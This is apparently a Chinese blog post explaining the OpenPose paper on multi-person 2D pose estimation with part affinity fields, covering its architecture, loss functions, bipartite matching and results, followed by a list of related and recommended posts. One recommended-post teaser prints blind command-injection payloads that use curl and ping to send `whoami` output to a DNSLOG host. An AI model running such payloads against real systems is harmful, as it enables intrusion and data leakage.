0 - 人体姿态识别存在的挑战

  • 图像中的个体数量、尺寸大小、位置均未知
  • 个体间接触、遮挡等影响检测
  • 实时性要求较高,传统的自顶向下方法运行时间随着个体数越多而越长

1 - 整体思路

  整个模型架构是自底向上的,先识别出关键点和关节域,然后通过算法组合成个体的姿势图。

1.1 - 求所有关键点(头部,肩膀,手肘,手腕...)

  • 第一个CNN将原图所为输入,输出热图(每一个热图包含一种特定关键点)
  • 第二个CNN将第一个CNN的输出(热图)和原图作为输入,输出热图

  循环直到收敛。示意图如上图(b)所示。

1.2 - 求所有关联区域

  • 第一个CNN将原图作为输入,输出是热图(每一个热图包含某一种特定的连接区域)
  • 第二个CNN将第一个CNN的输出(热图)和原图作为输入,输出热图

  循环直至收敛。示意图如上图(c)所示。

(注:上述的热图是为了便于了解整体流程,其对应于下面详细描述的置信图或者PAFs)

1.3 - 根据关键点和关联区域进行矢量连接

  由上述两步得到的关键点和关联区域,而后需要依据关联区域将关键点连接以组成人体真正的骨骼结构。如果全局的每对点都试验一遍然后找到最优的划分和组合结构,是一个NP难问题。因此作者提出了以一个最小限度的边数量来获得个体姿势的生成树图(用了二分图+匈牙利算法等),在保证不错的准确度的同时,大大减少了复杂度,提高了实时性。

2 - 具体方法

  将输入图像通过上述两个分支,得到关键点(confidence maps,集合$S$)和关联区域(PAFs,集合$L$)。而后便是一个匹配问题,将其划分为二分图再运用匈牙利算法使得边权最大从而构出个体姿态。

2.1 - 架构

  原图经过VGG-19得到F(feature maps),然后经过上下分支,每个分支有t个阶段(表示越来越精细),每个阶段将feature maps进行融合。

2.2 - 损失函数定义

  通过不同损失函数引导不同分支做不同预测任务。

$$f_S^t = \sum_{j=1}^{J}\sum_{P}W(p)\cdot \left \| S_j^t(P)-S_j^*(p) \right \|_2^2$$

$$f_L^t = \sum_{c=1}^{C}\sum_{P}W(p)\cdot \left \| L_c^t(P)-L_c^*(p) \right \|_2^2$$

$$f=\sum_{t=1}^{T}(f_S^t+f_L^t)$$

2.3 - 个体区域检测置信图

  置信图由ground truth的关键点生成,每一个置信图都是对特定关键点的2D表示(如果图像中有$j$个对应关键点可见,则应该有$j$个峰值)。置信图可以理解为图像该点属于对应关键点的概率。

  对于第$k$个人产生部位$j$的置信图蔓延程度$S_{j,k}^*(p)=exp\left (-\frac{\left \| p-x_{j,k} \right \|^2_2}{\sigma^2}\right )$,其中$p$表示图像中的坐标,那么总的置信图(多个个体)为$S_j^*(p)=\mathop{max}\limits_{k}S^*_{j,k}(p)$。

2.4 - PAFs(部位联系场)

        

  PAFs是一个2D矢量场,保留了位置和方向。如果坐标$P$在这个肢体上面,则值为$j_1$指向$j_2$的单位矢量,否则为零向量。

$$L_{c,k}^*(p)=\begin{cases} v\ if\ p\ on\ limb\ c,k\\ 0\ otherwise \end{cases}$$

  其中,对应的单位向量由下式得到:

$$v=(x_{j_2,k}-x_{j_1,k})/\left \| x_{j_2,k}-x_{j_1,k} \right \|$$

  通过下式定义肢体上的点:

$$0 \leq v \cdot (p-x_{j_1,k}) \leq l_{c,k} \ and \ \left | v_{\perp} \cdot (p-x_{j_1,k}) \right | \leq \sigma_l$$

  其中,肢体宽度$\sigma_l$是像素级上的距离,肢体长度$l_{c,k}=\left \| x_{j_2,k}-x_{j_1,k} \right \|_2$,并且$v_{\prep }$是正交于$v$的向量。

  一张图像中肢体$c$的PAFs通过下式计算:

$$L_c^*(p)=\frac{1}{n_c(p)}\sum_{k}L_{c,k}^*(p)$$

  (此处存疑问:多个人的PAFs必定不同,这样子平均难道不会削弱精确度吗?还是因为这种情况很少出现而做得一个满足模型简易性的让步?)

  根据预测出来的PAFs沿着候选区域计算两个关键点之间的线积分。对于两个候选部位位置$d_{j_1}$和$d_{j_2}$,我们从PAFs中取样,$L_c$表示的是沿着线段去衡量它们间联系的置信度:

$$E=\int_{u=0}^{u=1}L_c(p(u))\cdot \frac{d_{j_2}-d_{j_1}}{\left \| d_{j_2}-d_{j_1} \right \|_2}du,\ (10)$$

  其中$p(u)$是在两个身体部位$d_{j_1}$和$d_{j_2}$间插入的位置:

$$p(u)=(1-u)d_{j_1}+ud_{j_2}.\ (11)$$

  实际上,我们通过抽样和求和等间距的$u$的值来近似积分。

2.5 - 多人PAFs

  如果图像中有多个个体,那么识别出来的多个关键点需要划分为多个个体,算法的目标事找到所有最佳的关联,用如下集合表示:

$$Z = \{z_{j_1j_2}^{mn}\ :\ for\ j_1,j_2 \in \{1...J\},m \in \{1...N_{j_1}\},n \in \{1...N_{j_2}\}\}$$

  考虑一对关键点$j_1$和$j_2$(如脖子、右臂)组成的肢体$c$,可以抽象层二分图问题,其中节点为候选集合,边的权重由上面积分公式计算,二分图匹配选择最大权重的边,使得没有共享结点。

$$\begin{matrix}\mathop{max}\limits_{Z_c}E_c=\mathop{max}\limits_{Z_c}\sum_{m \in D_{j_1}}\sum_{n \in D_{j_2}}E_{mn}\cdot z_{j_1j_2}^{mn},\ (12)\\s.t.\ \forall m \in D_{j_1}, \sum_{n \in D_{j_2}}z_{j_1j_2}^{mn} \leq 1,\ (13)\\\forall n \in D_{j_2}, \sum_{n \in D_{j_2}}z_{j_1j_2}^{mn} \leq 1,\ (14)\end{matrix}$$

2.6 - 两个松弛(还没理解透,待补充)

  • 选择一个最小限度的边数量去获得一个个体姿势生成树概要而不是使用全图
  • 进一步分解匹配问题为一个集合的二分图匹配子问题并且独立地在相邻树解决匹配问题

3 - 结果

  准确率高,实时性好。且贪心策略可行,效率高很多,效果也更好。

  

  自底向上方法的运行时间几乎不随个体数量的增加而增加。运行时间主要包括两个部分:(1)CNN处理时间,其运行复杂度为$O(1)$而不管什么数量的个体;(2)多个体解析时间的运行复杂度为$O(n^2)$,其中n表示个体数量。然而,解析时间并不会很是影响整体时间,因为它比CNN处理时间小了两个数量级,例如,对于9个个体,解析用了0.58ms而CNN用了99.6ms。我们的方法对于有19个个体的视频达到了8.8fps的速度。

         

4 - 存在挑战

 

  我们的方法的准确率低于对较小尺度($AP^M$)的个体的自顶向下方法。其原因是我们的方法需要处理在所有个体在一张图片的一个对焦中的更大的范围尺度。相反,自顶向下方法能够将每一个检测区域放缩到一个更大的尺寸因此相比小尺度受到更少的影响。

5 - 补充知识点

5.1 - 非极大值抑制

  • 将所有框按照得分排序,选中最高分的框
  • 遍历其它框,如果和当前最高分框的重叠面积(IOU)大于一定阈值,删除之
  • 从未处理的框中继续选择得分最高的,重复上述过程

  最后获得各个待检测区域最佳的检测框。

5.2 - 匈牙利算法

  在我的另一篇博客中有详细解析。

6 - 参考资料

https://blog.csdn.net/yxr403614258/article/details/77977330

http://www.bubuko.com/infodetail-2691352.html

https://www.cnblogs.com/CZiFan/p/9708746.html

Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields(理解)的更多相关文章

  1. caffe openpose/Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields配置(转)

    Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields 是CVPR2017的一篇论文,作者称是世界上第一个基于深度学习的 ...

  2. Realtime Multi-Person 2D Pose Estimation using Part Affinity Fields(翻译)

    0 - Abstract 我们提出了一种方法去在一张图片中有效地识别多个人体的2D姿势.这个方法使用了一个无参数表示法,我们将其叫为Part Affinity Fields(PAFs),其是去在图片中 ...

  3. DensePose: Dense Human Pose Estimation In The Wild(理解)

    0 - 背景 Facebook AI Research(FAIR)开源了一项将2D的RGB图像的所有人体像素实时映射到3D模型的技术(DensePose).支持户外和穿着宽松衣服的对象识别,支持多人同 ...

  4. 对DensePose: Dense Human Pose Estimation In The Wild的理解

    研究方法 通过完全卷积学习从图像像素到密集模板网格的映射.将此任务作为一个回归问题,并利用手动注释的面部标注来训练我们的网络.使用这样的标注,在三维对象模板和输入图像之间,建立密集的对应领域,然后作为 ...

  5. (转)Awesome Human Pose Estimation

    Awesome Human Pose Estimation 2018-10-08 11:02:35 Copied from: https://github.com/cbsudux/awesome-hu ...

  6. human pose estimation

    2D Pose estimation主要面临的困难:遮挡.复杂背景.光照.真实世界的复杂姿态.人的尺度不一.拍摄角度不固定等. 单人姿态估计 传统方法:基于Pictorial Structures, ...

  7. 手势估计- Hand Pose Estimation

    http://blog.csdn.net/myarrow/article/details/51933651 1. 目前进展 1.1 相关资料      1)HANDS CVPR 2016      2 ...

  8. 论文解读:3D Hand Shape and Pose Estimation from a Singl RGB Image

    本文链接:https://blog.csdn.net/williamyi96/article/details/89207640由于最近做到了一些 3D Hand Pose Estimation 相关的 ...

  9. paper 154:姿态估计(Hand Pose Estimation)相关总结

    Awesome Works  !!!! Table of Contents Conference Papers 2017 ICCV 2017 CVPR 2017 Others 2016 ECCV 20 ...

随机推荐

  1. eclipse导出svn源码,如何转化为项目

    1.先导出 2.点击项目右键,选“属性” 3.选择project facets 4.添加对应的支持 5.可进行进一步配置,设置name,然后点击确定等待完成

  2. c#委托中的匿名方法和lambda表达式

    一.一般委托方式 Func<int, int, int> AddMethodHander; public unName() { AddMethodHander += AddMethod; ...

  3. (贪心和优先队列) POJ1862 Stripies

    Stripies Time Limit: 1000MS   Memory Limit: 30000K Total Submissions: 21506   Accepted: 9478 Descrip ...

  4. 简单BootLoader

    目录 简单BootLoader 概述 NOR与NAND启动 链接脚本规划 初始化规划 参数设置 title: 简单BootLoader tags: linux date: 2018-09-28 23: ...

  5. Python 排序和numpy排序,得到排序后索引序列(及源list的序列)

    Python list 排序 & np list 排序 nums = [1.25, 0.98, 6.13, 7.62] li = np.array(nums) print(li) out = ...

  6. SpringBoot笔记十二:缓存

    目录 非缓存项目 缓存 JSR-107 Spring缓存抽象 @Cacheable @CachePut @CacheEvict @Caching @CacheConfig 整合Redis 先在Dock ...

  7. python django基础四 ORM简介

    ORM,全称是object relation mapping.翻译过来,就是对象关系映射. 主要来学习MySQL操作,MySQL是一个软件.它的优点:1.免费 2.开源 pymysql,就是Mysql ...

  8. python js(JavaScript)初识

    ####################总结############## 引入: 可以在body标签中放入<script type=”text/javascript”></scrip ...

  9. DNSLOG的Payload

    命令执行处 linux curl http://ip.port.b182oj.ceye.io/`whoami` ping `whoami`.ip.port.b182oj.ceye.io windows ...

  10. ssh 跳板机部署

    1.首先创建存放日志的文件夹并开放读写权限       mkdir /var/log/jump/       chmod -R 777 /var/log/jump/   2.将原有ssh程序修改为另外 ...